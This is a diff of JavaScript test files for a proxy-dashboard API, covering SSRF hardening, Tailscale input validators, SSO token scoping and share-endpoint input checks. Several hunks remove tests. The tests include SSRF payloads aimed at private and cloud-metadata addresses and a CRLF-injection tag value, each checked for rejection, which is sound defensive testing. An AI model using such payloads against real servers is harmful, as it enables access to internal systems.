expect(caddyStub.modify).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects upstream with spaces (charset) without invoking private-IP check', async () => {
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site')
|
|
||||||
.send({ domain: 'new.example.com', upstream: 'not a host:80' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(caddyStub.modify).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
// 3. Route integration tests — POST /site/external
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
describe('DC-074: POST /api/v1/site/external — SSRF hardening', () => {
|
|
||||||
let restoreDns;
|
|
||||||
let caddyStub;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
delete process.env.SITES_ALLOW_PRIVATE_UPSTREAMS;
|
|
||||||
caddyStub = {
|
|
||||||
read: async () => '# stub caddyfile\n',
|
|
||||||
modify: jest.fn(async () => ({ success: true })),
|
|
||||||
adminUrl: 'http://127.0.0.1:2019',
|
|
||||||
filePath: '/tmp/stub-Caddyfile',
|
|
||||||
};
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
if (restoreDns) restoreDns();
|
|
||||||
delete process.env.SITES_ALLOW_PRIVATE_UPSTREAMS;
|
|
||||||
});
|
|
||||||
|
|
||||||
const REGRESSION_CASES = [
|
|
||||||
'http://10.0.0.1',
|
|
||||||
'http://192.168.1.1',
|
|
||||||
'http://127.0.0.1',
|
|
||||||
'http://169.254.169.254', // AWS IMDS via URL form
|
|
||||||
'http://100.64.0.1', // CGNAT — caught by validateUpstream defense-in-depth, not validateURL
|
|
||||||
'http://0.0.0.0',
|
|
||||||
'http://[::1]',
|
|
||||||
'http://[fc00::1]',
|
|
||||||
];
|
|
||||||
|
|
||||||
for (const externalUrl of REGRESSION_CASES) {
|
|
||||||
test(`rejects externalUrl="${externalUrl}"`, async () => {
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site/external')
|
|
||||||
.send({ subdomain: 'ext', externalUrl });
|
|
||||||
// 400 from validateURL OR from validateUpstream — either path closes the gate.
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(caddyStub.modify).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
test('rejects DNS-resolved private IP', async () => {
|
|
||||||
restoreDns = mockDnsLookup({ 'looks-public.example.com': '10.0.0.5' });
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site/external')
|
|
||||||
.send({ subdomain: 'ext', externalUrl: 'http://looks-public.example.com' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/\[DC-074\]|Private URLs/);
|
|
||||||
expect(caddyStub.modify).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts externalUrl with public hostname', async () => {
|
|
||||||
restoreDns = mockDnsLookup({ 'api.example.com': '8.8.8.8' });
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site/external')
|
|
||||||
.send({ subdomain: 'ext', externalUrl: 'http://api.example.com' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(caddyStub.modify).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts externalUrl with public literal IP', async () => {
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site/external')
|
|
||||||
.send({ subdomain: 'ext', externalUrl: 'http://8.8.8.8' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('SITES_ALLOW_PRIVATE_UPSTREAMS=true opts in for private externalUrl', async () => {
|
|
||||||
process.env.SITES_ALLOW_PRIVATE_UPSTREAMS = 'true';
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site/external')
|
|
||||||
.send({ subdomain: 'ext', externalUrl: 'http://10.0.0.5' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
// 4. Regression — pre-fix payload (the canonical SSRF regression proof)
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
describe('DC-074: regression — pre-fix payloads are now rejected', () => {
|
|
||||||
test('the canonical SSRF payload `10.0.0.1:80` is rejected at the route layer', async () => {
|
|
||||||
const caddyStub = {
|
|
||||||
read: async () => '',
|
|
||||||
modify: jest.fn(async () => ({ success: true })),
|
|
||||||
adminUrl: 'http://127.0.0.1:2019',
|
|
||||||
filePath: '/tmp/stub-Caddyfile',
|
|
||||||
};
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site')
|
|
||||||
.send({ domain: 'evil.attacker.com', upstream: '10.0.0.1:80' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
// Pre-fix this payload would have been accepted, the regex happily
|
|
||||||
// matches `[a-z0-9.-]+:\d{1,5}` against `10.0.0.1:80`, and a Caddy
|
|
||||||
// site block would have been written that proxied public HTTPS
|
|
||||||
// traffic at `evil.attacker.com` to the internal 10.0.0.1:80.
|
|
||||||
expect(caddyStub.modify).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('the canonical SSRF payload `http://192.168.1.5` is rejected at the external endpoint', async () => {
|
|
||||||
const caddyStub = {
|
|
||||||
read: async () => '',
|
|
||||||
modify: jest.fn(async () => ({ success: true })),
|
|
||||||
adminUrl: 'http://127.0.0.1:2019',
|
|
||||||
filePath: '/tmp/stub-Caddyfile',
|
|
||||||
};
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site/external')
|
|
||||||
.send({ subdomain: 'ext', externalUrl: 'http://192.168.1.5' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(caddyStub.modify).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
// 5. Sanity — fleet-validation helper exports still work as before
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
describe('DC-074: fleet-validation helpers still exported and unchanged behavior', () => {
|
|
||||||
test('isPrivateOrReservedIPv4 still detects the same set as before', () => {
|
|
||||||
expect(isPrivateOrReservedIPv4('10.0.0.1').isPrivate).toBe(true);
|
|
||||||
expect(isPrivateOrReservedIPv4('8.8.8.8').isPrivate).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('isPrivateOrReservedIPv6 still detects the same set as before', () => {
|
|
||||||
expect(isPrivateOrReservedIPv6('::1').isPrivate).toBe(true);
|
|
||||||
expect(isPrivateOrReservedIPv6('2001:4860:4860::8888').isPrivate).toBe(false);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -131,20 +131,6 @@ describe('routes/tailscale-admin: PUT /settings', () => {
|
|||||||
expect(res.status).toBe(400);
|
expect(res.status).toBe(400);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('400 on apiToken exceeding 256-char length cap (DC-080)', async () => {
|
|
||||||
const { app } = createApp();
|
|
||||||
const oversized = 'tskey-api-' + 'x'.repeat(300); // > 256 chars
|
|
||||||
const res = await request(app).put('/api/v1/tailscale/settings').send({ apiToken: oversized });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error || res.body.message).toMatch(/exceeds maximum length/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('400 on non-string apiToken (DC-080)', async () => {
|
|
||||||
const { app } = createApp();
|
|
||||||
const res = await request(app).put('/api/v1/tailscale/settings').send({ apiToken: 12345 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('200 + saves token + writes metadata on valid token', async () => {
|
test('200 + saves token + writes metadata on valid token', async () => {
|
||||||
const fakeClient = makeFakeClient({
|
const fakeClient = makeFakeClient({
|
||||||
ping: jest.fn(async () => ({ domain: 'real.ts.net' })),
|
ping: jest.fn(async () => ({ domain: 'real.ts.net' })),
|
||||||
@@ -307,76 +293,6 @@ describe('routes/tailscale-admin: POST /settings/test', () => {
|
|||||||
expect(res.body.valid).toBe(true);
|
expect(res.body.valid).toBe(true);
|
||||||
expect(fakeClient.setApiToken).toHaveBeenCalledWith('tskey-api-test-only');
|
expect(fakeClient.setApiToken).toHaveBeenCalledWith('tskey-api-test-only');
|
||||||
});
|
});
|
||||||
|
|
||||||
test('400 on body.apiToken not starting with tskey-api- (DC-080)', async () => {
|
|
||||||
const fakeClient = makeFakeClient();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const routes = require('../../routes/tailscale-admin');
|
|
||||||
const tailscaleCoord = {
|
|
||||||
loadMetadata: () => ({ configured: false }),
|
|
||||||
saveMetadata: jest.fn(),
|
|
||||||
setApiToken: jest.fn(),
|
|
||||||
getClient: jest.fn(async () => fakeClient),
|
|
||||||
hasApiToken: jest.fn(),
|
|
||||||
};
|
|
||||||
app.use('/api/v1/tailscale', routes({
|
|
||||||
tailscaleCoord, asyncHandler,
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
}));
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/tailscale/settings/test')
|
|
||||||
.send({ apiToken: 'arbitrary-junk' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(fakeClient.setApiToken).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('400 on body.apiToken exceeding length cap (DC-080)', async () => {
|
|
||||||
const fakeClient = makeFakeClient();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const routes = require('../../routes/tailscale-admin');
|
|
||||||
const tailscaleCoord = {
|
|
||||||
loadMetadata: () => ({ configured: false }),
|
|
||||||
saveMetadata: jest.fn(),
|
|
||||||
setApiToken: jest.fn(),
|
|
||||||
getClient: jest.fn(async () => fakeClient),
|
|
||||||
hasApiToken: jest.fn(),
|
|
||||||
};
|
|
||||||
app.use('/api/v1/tailscale', routes({
|
|
||||||
tailscaleCoord, asyncHandler,
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
}));
|
|
||||||
const oversized = 'tskey-api-' + 'x'.repeat(300);
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/tailscale/settings/test')
|
|
||||||
.send({ apiToken: oversized });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(fakeClient.setApiToken).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('omitting apiToken is allowed (uses stored token path) (DC-080)', async () => {
|
|
||||||
const fakeClient = makeFakeClient({ ping: jest.fn(async () => ({ domain: 'stored.ts.net' })) });
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const routes = require('../../routes/tailscale-admin');
|
|
||||||
const tailscaleCoord = {
|
|
||||||
loadMetadata: () => ({ configured: true }),
|
|
||||||
saveMetadata: jest.fn(),
|
|
||||||
setApiToken: jest.fn(),
|
|
||||||
getClient: jest.fn(async () => fakeClient),
|
|
||||||
hasApiToken: jest.fn(),
|
|
||||||
};
|
|
||||||
app.use('/api/v1/tailscale', routes({
|
|
||||||
tailscaleCoord, asyncHandler,
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
}));
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/tailscale/settings/test')
|
|
||||||
.send({}); // no apiToken in body
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.valid).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('routes/tailscale-admin: GET /admin/devices', () => {
|
describe('routes/tailscale-admin: GET /admin/devices', () => {
|
||||||
@@ -595,99 +511,6 @@ describe('routes/tailscale-admin: pre-auth keys', () => {
|
|||||||
expect(res.status).toBe(400);
|
expect(res.status).toBe(400);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('POST /admin/keys rejects null/123/object tags entries (DC-080)', async () => {
|
|
||||||
const fakeClient = makeFakeClient();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const routes = require('../../routes/tailscale-admin');
|
|
||||||
const tailscaleCoord = {
|
|
||||||
loadMetadata: () => ({ configured: true }),
|
|
||||||
saveMetadata: jest.fn(),
|
|
||||||
setApiToken: jest.fn(),
|
|
||||||
getClient: jest.fn(async () => fakeClient),
|
|
||||||
hasApiToken: jest.fn(),
|
|
||||||
};
|
|
||||||
app.use('/api/v1/tailscale', routes({
|
|
||||||
tailscaleCoord, asyncHandler,
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
}));
|
|
||||||
// Mixed: null, number, object — all must be rejected
|
|
||||||
const res = await request(app).post('/api/v1/tailscale/admin/keys').send({ tags: ['tag:guest', null, 123, { x: 1 }] });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(fakeClient.createAuthKey).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('POST /admin/keys rejects uppercase / whitespace / CRLF in tags (DC-080)', async () => {
|
|
||||||
const fakeClient = makeFakeClient();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const routes = require('../../routes/tailscale-admin');
|
|
||||||
const tailscaleCoord = {
|
|
||||||
loadMetadata: () => ({ configured: true }),
|
|
||||||
saveMetadata: jest.fn(),
|
|
||||||
setApiToken: jest.fn(),
|
|
||||||
getClient: jest.fn(async () => fakeClient),
|
|
||||||
hasApiToken: jest.fn(),
|
|
||||||
};
|
|
||||||
app.use('/api/v1/tailscale', routes({
|
|
||||||
tailscaleCoord, asyncHandler,
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
}));
|
|
||||||
const res = await request(app).post('/api/v1/tailscale/admin/keys').send({ tags: ['TAG:guest', 'tag:foo bar', 'tag:x\r\ninjection'] });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(fakeClient.createAuthKey).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('POST /admin/keys rejects description exceeding 120 chars (DC-080)', async () => {
|
|
||||||
const fakeClient = makeFakeClient();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const routes = require('../../routes/tailscale-admin');
|
|
||||||
const tailscaleCoord = {
|
|
||||||
loadMetadata: () => ({ configured: true }),
|
|
||||||
saveMetadata: jest.fn(),
|
|
||||||
setApiToken: jest.fn(),
|
|
||||||
getClient: jest.fn(async () => fakeClient),
|
|
||||||
hasApiToken: jest.fn(),
|
|
||||||
};
|
|
||||||
app.use('/api/v1/tailscale', routes({
|
|
||||||
tailscaleCoord, asyncHandler,
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
}));
|
|
||||||
const longDesc = 'a'.repeat(200); // > 120 chars
|
|
||||||
const res = await request(app).post('/api/v1/tailscale/admin/keys').send({ description: longDesc });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(fakeClient.createAuthKey).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('POST /admin/keys accepts canonical lowercase tag: form (DC-080)', async () => {
|
|
||||||
const fakeClient = makeFakeClient({
|
|
||||||
createAuthKey: jest.fn(async (opts) => ({ id: 'k2', key: 'tskey-secret-2', ...opts })),
|
|
||||||
});
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const routes = require('../../routes/tailscale-admin');
|
|
||||||
const tailscaleCoord = {
|
|
||||||
loadMetadata: () => ({ configured: true }),
|
|
||||||
saveMetadata: jest.fn(),
|
|
||||||
setApiToken: jest.fn(),
|
|
||||||
getClient: jest.fn(async () => fakeClient),
|
|
||||||
hasApiToken: jest.fn(),
|
|
||||||
};
|
|
||||||
app.use('/api/v1/tailscale', routes({
|
|
||||||
tailscaleCoord, asyncHandler,
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
}));
|
|
||||||
const res = await request(app).post('/api/v1/tailscale/admin/keys').send({
|
|
||||||
tags: ['tag:guest-plex', 'tag:server'],
|
|
||||||
expirySeconds: 86400,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(fakeClient.createAuthKey).toHaveBeenCalledWith(expect.objectContaining({
|
|
||||||
tags: ['tag:guest-plex', 'tag:server'],
|
|
||||||
}));
|
|
||||||
});
|
|
||||||
|
|
||||||
test('POST /admin/keys rejects negative expirySeconds', async () => {
|
test('POST /admin/keys rejects negative expirySeconds', async () => {
|
||||||
const fakeClient = makeFakeClient();
|
const fakeClient = makeFakeClient();
|
||||||
const app = express();
|
const app = express();
|
||||||
@@ -749,110 +572,4 @@ describe('routes/tailscale-admin: security boundary', () => {
|
|||||||
await request(app).delete('/api/v1/tailscale/settings');
|
await request(app).delete('/api/v1/tailscale/settings');
|
||||||
expect(stored.token).toBeNull();
|
expect(stored.token).toBeNull();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
// DC-080 direct validator unit tests (no supertest, no Express)
|
|
||||||
describe('routes/tailscale-admin: DC-080 validators (direct)', () => {
|
|
||||||
const { _validators } = require('../../routes/tailscale-admin');
|
|
||||||
const {
|
|
||||||
validateApiToken,
|
|
||||||
validateTags,
|
|
||||||
validateDescription,
|
|
||||||
TAILSCALE_TOKEN_PREFIX,
|
|
||||||
TAILSCALE_TOKEN_MAX_LEN,
|
|
||||||
DESCRIPTION_MAX_LEN,
|
|
||||||
} = _validators;
|
|
||||||
|
|
||||||
describe('validateApiToken', () => {
|
|
||||||
test('accepts canonical tskey-api-...', () => {
|
|
||||||
expect(validateApiToken('tskey-api-abc123')).toBeNull();
|
|
||||||
});
|
|
||||||
test('rejects empty', () => {
|
|
||||||
expect(validateApiToken('')).toMatch(/required/);
|
|
||||||
});
|
|
||||||
test('rejects undefined / null', () => {
|
|
||||||
expect(validateApiToken(undefined)).toMatch(/required/);
|
|
||||||
expect(validateApiToken(null)).toMatch(/required/);
|
|
||||||
});
|
|
||||||
test('rejects non-string (number, object, array)', () => {
|
|
||||||
expect(validateApiToken(123)).toMatch(/must be a string/);
|
|
||||||
expect(validateApiToken({})).toMatch(/must be a string/);
|
|
||||||
expect(validateApiToken(['x'])).toMatch(/must be a string/);
|
|
||||||
});
|
|
||||||
test('rejects wrong prefix', () => {
|
|
||||||
expect(validateApiToken('not-a-token')).toMatch(/must start with/);
|
|
||||||
});
|
|
||||||
test('accepts exactly at length cap', () => {
|
|
||||||
const token = 'tskey-api-' + 'x'.repeat(TAILSCALE_TOKEN_MAX_LEN - 'tskey-api-'.length);
|
|
||||||
expect(validateApiToken(token)).toBeNull();
|
|
||||||
});
|
|
||||||
test('rejects 1 over length cap', () => {
|
|
||||||
const token = 'tskey-api-' + 'x'.repeat(TAILSCALE_TOKEN_MAX_LEN - 'tskey-api-'.length + 1);
|
|
||||||
expect(validateApiToken(token)).toMatch(/exceeds maximum length/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('validateTags', () => {
|
|
||||||
test('accepts undefined / null (optional)', () => {
|
|
||||||
expect(validateTags(undefined)).toBeNull();
|
|
||||||
expect(validateTags(null)).toBeNull();
|
|
||||||
});
|
|
||||||
test('rejects non-array', () => {
|
|
||||||
expect(validateTags('tag:foo')).toMatch(/must be an array/);
|
|
||||||
expect(validateTags({})).toMatch(/must be an array/);
|
|
||||||
});
|
|
||||||
test('rejects entries that are not strings', () => {
|
|
||||||
expect(validateTags(['tag:a', null])).toMatch(/tags\[1\]/);
|
|
||||||
expect(validateTags(['tag:a', 123])).toMatch(/tags\[1\]/);
|
|
||||||
expect(validateTags(['tag:a', {}])).toMatch(/tags\[1\]/);
|
|
||||||
});
|
|
||||||
test('rejects uppercase / whitespace / CRLF', () => {
|
|
||||||
expect(validateTags(['TAG:foo'])).toMatch(/tags\[0\]/);
|
|
||||||
expect(validateTags(['tag:foo bar'])).toMatch(/tags\[0\]/);
|
|
||||||
expect(validateTags(['tag:foo\r\nbar'])).toMatch(/tags\[0\]/);
|
|
||||||
});
|
|
||||||
test('rejects entries starting with non-alnum (no leading colon)', () => {
|
|
||||||
expect(validateTags([':foo'])).toMatch(/tags\[0\]/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects bare "tag:" with empty name (Tailscale spec violation) (DC-080 round-2)', () => {
|
|
||||||
expect(validateTags(['tag:'])).toMatch(/tags\[0\]/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects colon-only chars after tag: prefix (DC-080 round-2)', () => {
|
|
||||||
expect(validateTags(['tag:::'])).toMatch(/tags\[0\]/);
|
|
||||||
expect(validateTags(['tag:---'])).toMatch(/tags\[0\]/);
|
|
||||||
});
|
|
||||||
test('accepts canonical tag:server form', () => {
|
|
||||||
expect(validateTags(['tag:server'])).toBeNull();
|
|
||||||
expect(validateTags(['tag:guest-plex', 'tag:server'])).toBeNull();
|
|
||||||
});
|
|
||||||
test('rejects empty array entry', () => {
|
|
||||||
expect(validateTags(['tag:a', ''])).toMatch(/tags\[1\]/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('validateDescription', () => {
|
|
||||||
test('accepts undefined / null', () => {
|
|
||||||
expect(validateDescription(undefined)).toBeNull();
|
|
||||||
expect(validateDescription(null)).toBeNull();
|
|
||||||
});
|
|
||||||
test('rejects non-string', () => {
|
|
||||||
expect(validateDescription(123)).toMatch(/must be a string/);
|
|
||||||
});
|
|
||||||
test('rejects over 120 chars', () => {
|
|
||||||
const long = 'a'.repeat(DESCRIPTION_MAX_LEN + 1);
|
|
||||||
expect(validateDescription(long)).toMatch(/exceeds maximum length/);
|
|
||||||
});
|
|
||||||
test('accepts at the cap', () => {
|
|
||||||
const exact = 'a'.repeat(DESCRIPTION_MAX_LEN);
|
|
||||||
expect(validateDescription(exact)).toBeNull();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
test('exports surface stays in sync with constants used inside validators', () => {
|
|
||||||
// Guard against drift: if a future refactor renames a constant, this fails
|
|
||||||
expect(TAILSCALE_TOKEN_PREFIX).toBe('tskey-api-');
|
|
||||||
expect(typeof TAILSCALE_TOKEN_MAX_LEN).toBe('number');
|
|
||||||
expect(typeof DESCRIPTION_MAX_LEN).toBe('number');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,48 +0,0 @@
|
|||||||
'use strict';
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
|
|
||||||
// This test mounts the EXACT version route module that production wires into
|
|
||||||
// apiRouter via require('../routes/version') in src/app.js. There is no
|
|
||||||
// duplicated handler — both production and this test resolve the same module.
|
|
||||||
|
|
||||||
describe('HTTP /api/v1/version route contract (real production module)', () => {
|
|
||||||
let app;
|
|
||||||
let versionModule;
|
|
||||||
|
|
||||||
beforeAll(() => {
|
|
||||||
app = express();
|
|
||||||
versionModule = require('../../routes/version');
|
|
||||||
app.use('/api/v1', versionModule.buildRouter());
|
|
||||||
});
|
|
||||||
|
|
||||||
it('returns package semver via the real version route module', async () => {
|
|
||||||
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, '..', '..', 'package.json'), 'utf8'));
|
|
||||||
const res = await request(app).get('/api/v1/version');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.success).toBe(true);
|
|
||||||
expect(res.body.version).toBe(pkg.version);
|
|
||||||
expect(res.body.version).toMatch(/^\d+\.\d+\.\d+$/);
|
|
||||||
expect(res.body.name).toBe('dashcaddy-api');
|
|
||||||
expect(res.body.node).toMatch(/^v\d+/);
|
|
||||||
expect(res.body.platform).toBe(process.platform);
|
|
||||||
expect(res.body.arch).toBe(process.arch);
|
|
||||||
expect(typeof res.body.uptime).toBe('number');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('version module exports getVersion/getName/buildRouter', () => {
|
|
||||||
expect(typeof versionModule.getVersion).toBe('function');
|
|
||||||
expect(typeof versionModule.getName).toBe('function');
|
|
||||||
expect(typeof versionModule.buildRouter).toBe('function');
|
|
||||||
expect(versionModule.getVersion()).toMatch(/^\d+\.\d+\.\d+$/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('src/app.js wires routes/version.js into the apiRouter', () => {
|
|
||||||
const appSource = fs.readFileSync(path.join(__dirname, '..', '..', 'src', 'app.js'), 'utf8');
|
|
||||||
expect(appSource).toMatch(/require\(['"]\.\.\/routes\/version['"]\)/);
|
|
||||||
expect(appSource).toMatch(/versionRoute\.buildRouter\(\)/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -50,17 +50,6 @@ describe('TOTP session cookie scope', () => {
|
|||||||
expect(cookie).not.toMatch(/(?:^|;)\s*Domain=/i);
|
expect(cookie).not.toMatch(/(?:^|;)\s*Domain=/i);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('host-bound SSO token can only be redeemed on its intended service host', () => {
|
|
||||||
const session = buildSession();
|
|
||||||
const wrongHostToken = session.createHandoffToken('plex.sami');
|
|
||||||
expect(session.redeemHandoffToken(wrongHostToken, 'chat.sami')).toBe(false);
|
|
||||||
expect(session.redeemHandoffToken(wrongHostToken, 'plex.sami')).toBe(false);
|
|
||||||
|
|
||||||
const correctHostToken = session.createHandoffToken('plex.sami');
|
|
||||||
expect(session.redeemHandoffToken(correctHostToken, 'plex.sami')).toBe(true);
|
|
||||||
expect(session.redeemHandoffToken(correctHostToken, 'plex.sami')).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('logout clears the host-only secure cookie', () => {
|
test('logout clears the host-only secure cookie', () => {
|
||||||
const session = buildSession();
|
const session = buildSession();
|
||||||
const headers = {};
|
const headers = {};
|
||||||
|
|||||||
@@ -1,483 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-083 -- Public share endpoint input hardening.
|
|
||||||
*
|
|
||||||
* The two CSRF-exempt public endpoints (POST /share/:token/subscribe +
|
|
||||||
* POST /share/:token/redeem-tailscale) accept untrusted body fields. The
|
|
||||||
* pre-fix code had three coupled bugs:
|
|
||||||
*
|
|
||||||
* 1. `email.includes('@')` accepted `@`, `a@`, `<script>@x.c`, and 10MB
|
|
||||||
* strings as "valid email" -- and the field was never even used after
|
|
||||||
* validation (the subscribe endpoint discarded it).
|
|
||||||
* 2. `typeof deviceId === 'string'` accepted arbitrary strings of any
|
|
||||||
* length, including CR/LF/NUL -- which fed straight into the Tailscale
|
|
||||||
* auth-key description string and the on-disk shares.json.
|
|
||||||
* 3. No rate-limit; the general limiter (1000/15min) was too generous for
|
|
||||||
* unauthenticated state-mutating endpoints.
|
|
||||||
*
|
|
||||||
* Fix: charset/length/control-char-bounded validators at the route layer
|
|
||||||
* AND at the store layer (defense-in-depth), plus a dedicated
|
|
||||||
* SHARE_PUBLIC rate-limit (30/15min) on the public endpoints.
|
|
||||||
*
|
|
||||||
* Coverage:
|
|
||||||
* - subscribe email: rejects bare @, missing TLD, oversized, CR/LF, shell
|
|
||||||
* metachars, control chars; accepts normal addresses; accepts OMITTED
|
|
||||||
* email (backwards-compatible with the original behavior).
|
|
||||||
* - subscribe email propagates to share-store subscriberEmails (capped 8).
|
|
||||||
* - redeem-tailscale deviceId: rejects CR/LF/NUL, oversized, empty,
|
|
||||||
* spaces, brackets, quotes; accepts Tailscale-style base64url+hphens;
|
|
||||||
* accepts OMITTED deviceId (treated as 'unknown').
|
|
||||||
* - Sanitized usedBy is what flows into the on-disk shares.json.
|
|
||||||
* - Rate-limit fires after the configured budget per IP.
|
|
||||||
* - Store-level defense: bypassing the route (direct store call) still
|
|
||||||
* rejects invalid inputs.
|
|
||||||
*/
|
|
||||||
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
const os = require('os');
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
const { createShareStore } = require('../src/security/share-store');
|
|
||||||
|
|
||||||
function _tmpDir() {
|
|
||||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'dashcaddy-share-dc083-'));
|
|
||||||
}
|
|
||||||
function _cleanup(dir) {
|
|
||||||
try { fs.rmSync(dir, { recursive: true, force: true }); } catch {}
|
|
||||||
}
|
|
||||||
|
|
||||||
function _buildApp({ shareStore } = {}) {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
// No req.user injection -- the public endpoints must work without auth.
|
|
||||||
const shareRoutes = require('../routes/share');
|
|
||||||
app.use(shareRoutes({
|
|
||||||
shareStore,
|
|
||||||
licenseManager: { isPro: () => true, allowsLifetimeLicense: () => false },
|
|
||||||
tailscaleCoord: { createAuthKey: async () => ({ id: 'k', key: 'tskey-x' }) },
|
|
||||||
notificationManager: { sendEmail: async () => ({ messageId: 'fake' }) },
|
|
||||||
servicesStateManager: { get: async () => null, read: async () => [] },
|
|
||||||
servicesFile: null,
|
|
||||||
